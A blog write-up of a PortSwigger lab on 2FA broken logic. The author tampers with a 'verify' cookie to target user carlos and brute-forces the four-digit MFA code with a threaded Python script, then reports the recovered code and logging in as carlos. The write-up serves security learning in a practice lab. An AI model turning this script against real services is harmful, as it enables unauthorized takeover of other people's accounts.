siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

2FA broken logic | Dec 22, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: 2FA broken logic! Without further ado, let’s dive in.

Background

This lab’s two-factor authentication is vulnerable due to its flawed logic. To solve the lab, access Carlos’s account page.

You also have access to the email server to receive your 2FA verification code.

Exploitation

Login page:

Let’s try to login as user wiener, and intercept all requests via Burp Suite:

When we clicked the Log in button, it’ll send a POST request to /login, with parameter username and password.

After the POST request is sent, the application will set a new cookie for us: verify=<username>.

Hmm… What if I change the verify cookie to another users? Like carlos.

Let’s go to the Email client to get the security code:

Then send the security code and intercept the request via Burp Suite:

Let’s change the verify value to carlos, and forward the request!

Hmm… Incorrect security code.

Looks like we need to brute force the security code!

To do so, I’ll write a python script:

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def sendRequest(url, cookie, number):
    loginData = {
        'mfa-code': number
    }

    # Display current number and use \r to clear previous line
    print(f'[*] Trying number: {number}', end='\r')

    loginRequestText = requests.post(url, cookies=cookie, data=loginData).text

    if 'Incorrect security code' not in loginRequestText:
        print(f'[+] Found security code: {number}')

def main():
    url = 'https://0ab100fb0332774dc02726db00f20057.web-security-academy.net/login2'
    cookie = {
        'session': '2cK9ym9I9zf0e0p9IECgOqDGUoJfnYT4',
        'verify': 'carlos'
    }

    # Generate number 0000 to 9999 into a list
    listNumbers = [f'{i:04d}' for i in range(10000)]
    
    for number in listNumbers:
        thread = Thread(target=sendRequest, args=(url, cookie, number))
        thread.start()

        # You can adjust how fast of each connection. 0.05s is recommended.
        sleep(0.05)

if __name__ == '__main__':
    main()
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# python3 enum_2fa_code.py
[+] Found security code: 1814

Let’s login as carlos!

I’m user carlos!

What we’ve learned:

  1. 2FA broken logic